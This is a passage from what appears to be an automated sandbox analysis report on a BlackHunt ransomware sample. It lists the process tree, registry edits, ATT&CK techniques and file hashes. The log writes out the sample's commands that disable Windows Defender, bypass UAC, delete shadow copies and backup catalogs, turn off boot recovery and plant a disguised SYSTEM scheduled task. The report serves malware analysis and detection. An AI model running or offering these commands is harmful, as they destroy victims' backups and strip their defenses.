memory of 2428 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 52 PID 2772 wrote to memory of 2428 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 52 PID 2772 wrote to memory of 2428 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 52 PID 2772 wrote to memory of 1560 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 54 PID 2772 wrote to memory of 1560 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 54 PID 2772 wrote to memory of 1560 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 54 PID 2772 wrote to memory of 1560 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 54 PID 2772 wrote to memory of 2028 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 56 PID 2772 wrote to memory of 2028 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 56 PID 2772 wrote to memory of 2028 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 56 PID 2772 wrote to memory of 2028 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 56 PID 2772 wrote to memory of 1264 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 57 PID 2772 wrote to memory of 1264 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 57 PID 2772 wrote to memory of 1264 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 57 PID 2772 wrote to memory of 1264 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 57 PID 2772 wrote to memory of 780 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 60 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe"C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2772 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2088
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2840
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2516
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2688
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2804
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2628
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2588
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2776
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:3064
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2428
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1560
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2028
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2424
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1264
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:780
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:2584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:828
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1884
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:852
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2656
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1632
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1108
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1708
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1064
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2560
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2872
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2808
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:680
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2764
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2216
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1736
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1608
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe" /F2⤵PID:2032
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe" /F3⤵
- Creates scheduled task(s)
PID:2724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2932
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2432
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:3036
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2952
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2980
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2152
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1576
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2096
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2288
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1800
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1740
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:524
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1332
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1600
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2392
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2964
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:800
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1292
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5bac5a64695a448b63ebf172aa263702a
SHA10380f693ba7583394346b759b0ad7efaa140c1c1
SHA25609343ea09ba22d71adab6da6820491f2d4f1349247fed7794377822a0e009a32
SHA5124c409abeca38c5bb8d65a3fc53ac3766ee27f9eba6a3f6d1fc6f22e5c8226a5d439ff2b647c916e289a6e4fabbb6cef3476003606cd92f9a2c16fa8e69427f88
-
Filesize
12KB
MD5700725b53ac0e2ca2c1193442aaa1358
SHA1e825656c83590e457a41306689604c054436c710
SHA256497f5b03610026e6a48aa81e59d0d779fbe98cd6bb6e143a1a4cadbf8b1a6eb9
SHA512211c5b2713aa054f61504e2d1f1f0ba6bda263147ef5afd780dbff63bd77c8b08cb3e007bc13c2afc5f03f6fb923e31f6cd162ab23908a32a555567e86f173d5
-
Filesize
684B
MD512b14ec830d36aae437600213a279827
SHA1a308b91976fae49d77542f07937bfd5232c8014c
SHA2561eba31460ba059d26b45c7ac0e9320bc9fd69de7b7e0c94f201d4a6d28d12111
SHA512cb7f4b748aafa70802c454f62c7cff8f000ea37f9f96907d37813099299eadfef493062a12c14a36cf076d4d6b6770ab095b2e5357ce2321b8f2b391d90e4e73